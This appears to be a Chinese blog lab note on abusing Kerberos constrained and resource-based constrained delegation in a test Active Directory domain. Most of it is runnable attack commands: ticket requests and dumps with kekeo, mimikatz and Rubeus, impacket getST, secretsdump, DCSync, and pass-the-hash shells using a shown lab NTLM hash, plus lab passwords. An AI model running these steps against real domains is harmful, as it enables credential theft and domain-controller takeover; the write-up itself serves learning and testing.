概述那里我们讲了在约束委派的情况下，服务用户只能获取某个用户（或主机）的服务的ST，所以只能模拟用户访问特定的服务，是无法获取用户的TGT，如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash，我们就可以伪造S4U请求，进而伪装成服务用户以任意账户的权限申请访问某服务的ST

已经知道服务用户明文的条件下，我们可以用kekeo请求该用户的TGT

https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20211214

1
2


tgt::ask /user:svc_sharepoint /domain:test.local /password:Password123!
tgt::ask /user:svc_sharepoint /domain:test.local /rc4:7f939d16a10a8fb0ef49eca637be8a7d

得到服务用户TGT

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问域控的CIFS的ST

拿到了两个TGS

用mimikatz将cifs的票据导入

1
2
3
4


#清空一下
klist purge
klist
kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi

成功这里都行非约束委派那里可能获得的票据确实有问题具体问题在哪还不清楚但至少 kokeo 软件拿到的票据能导入认证的

如果我们不知道服务用户的明文和NTLM Hash，但是我们有了服务用户登陆的主机权限（需要本地管理员权限），我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

1

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注：sekurlsa::tickets是列出和导出所有会话的Kerberos票据，sekurlsa::tickets和kerberos::list不同，sekurlsa是从内存读取，也就是从lsass进程读取，这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制，sekurlsa可以访问其他会话（用户）的票证。

我们再试一下这种导出的操作看看是不是跟之前一样还会导入失败

1
2


# 让服务账户在本机登陆一次 不然没有票据 输入下面的命令在输入密码即可 模拟登录
runas /user:test\svc_sharepoint cmd.exe

mimikatz成功导出了这是我们创建的服务账户

但是还是利用失败

1

tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local

但是我们还有Rubeus

1
2
3
4
5
6


后续的流程也是 读取到了写入本地 然后访问域控 流程都一样
但是这个有个缺点 就是服务账户必须登录之后不能断开 才能获取到
mimikatz的方法我还是记住吧 后续先用那个mimikatz 不行再用这个
# runas开一个cmd不要关
runas /user:test\svc_sharepoint cmd.exe
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint

右边就是svc_sharepoint的cmd(窗口关了啥就都没了)

1
2
3


# 用这个保存到本地 好复制
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap >> ticket.txt
Rubeus.exe ptt /ticket:[base64]

dir \WindowsServerAD.test.local\c$

非约束委派和约束委派Get域控权限

非约束委派拿 shell 很简单直接

1
2
3


# 当导入了administrator的票据的时候 其实就跟域管没区别了 但是要测试话都试一下吧
Enter-PSSession -ComputerName WindowsServerAD
lsadump::dcsync /domain:test.local /all /csv

约束委派拿 shell

我们都知道TGT的生成是由krbtgt用户加密和签名的，如果我们能委派域上的用户去访问TGS，那么就可以伪造任意用户的TGT了，黄金票据通常情况下我们是用krbtgt的hash来伪造TGT，不过我们通过约束委派也能达到同样的效果。

注：TGS默认的spn是krbtgt/domain name，我们操作环境是krbtgt/test.local

krbtgt默认是禁用的而且无法启用，所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

这里我来解释一下上面原文作者提到的意思是我们这个服务账号也就是这个约束委派账号它默认是没有 krbtgt 权限的也就是默认被禁用了但是呢我要利用黄金票据就得用krbtgt(这个服务账户其实已经有了个 cifs 权限是我们之前配置的) 我这里无法给这个服务账户委派krbtgt 下面我只会粘贴原作者成功的方法然后我会利用 cifs 来拿下域控原作者的方法用分割线隔开

1
2
3


Import-Module ActiveDirectory
$user = Get-ADUser svc_sharepoint
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local") }

注：域控默认安装ActiveDirectory，如果没有安装，可以下载dll：下载地址，然后导入就行了：import-module .\Microsoft.ActiveDirectory.Management.dll

上面有个 PowerView.ps1 的地址这里再放一下吧

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
2
3


Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,"msds-allowedtodelegateto" | Format-List

我们可以用impacket系列的getST向KDC请求administrator的TGT

1

python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

我这里复现失败了貌似是因为版本过高导致krbtgt无法被委派出来这里做记录各种各样的委派方式其实有各种各样的方法如果遇到了直接去搜就行了

这里还是用 cifs 吧

1

python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

ccache 直接 PTC 就行了这个在我另一个页面写了有这里搬过来就行了

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

1
2


misc::cmd
dir \\WindowsServerAD.test.local\c$

~~wmiexec~~

1
2
3
4
5
6


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass

export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb
psexec.py -k -no-pass support.htb/administrator@dc.support.htb

这一步执行命令拿下 shell 我并没有成功主要是目前我用的 cifs 并没有 wmi 服务的访问权限

因为我们拿到的 ST 票据是administrator权限的cifs并没有其他的仅限此服务

接下来先不按照作者方法来实现了他的步骤我都打了删除线下面直接利用cifs来getshell上面已经导入了

导出域控上所有用户以及主机的hash #这个是没问题的利用的是 smb 或者 cifs 权限来读取域数据库

1
2


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python secretsdump.py -no-pass -k WindowsServerAD.test.local

这里拿下域控的方法有很多用一下 PTH 就行了

1
2
3
4
5


mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe

PsExec64.exe \\192.168.0.110 cmd

1
2
3


# wmi和smb 也是经典的PTHgetshell的方法 主要是看开了哪个服务
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110

win11 不在域内指定 IP 就行

kali 不在域内指定 IP 也可以

win10 在域内指定主机名就行因为走的是域控的 dns

此时我们再做黄金门票是没任何问题的

再次放一下原作者和参考的博客里面也有防御方式

https://xz.aliyun.com/t/7217

https://www.freebuf.com/articles/network/290860.html

基于资源的约束委派的利用

1
2
3
4


# 先创建机器账户 test:123456
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

1
2
3
4
5


# 然后设置委派 查sid
import-module .\PowerView.ps1
Get-NetComputer test -Properties objectsid

S-1-5-21-3072663084-364016917-1341370565-9602

1
2
3
4
5
6
7


# 修改FOREST的msds-allowedtoactonbehalfofotheridentity的值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FOREST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# FOREST为域控主机名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

服务 on MentalityXt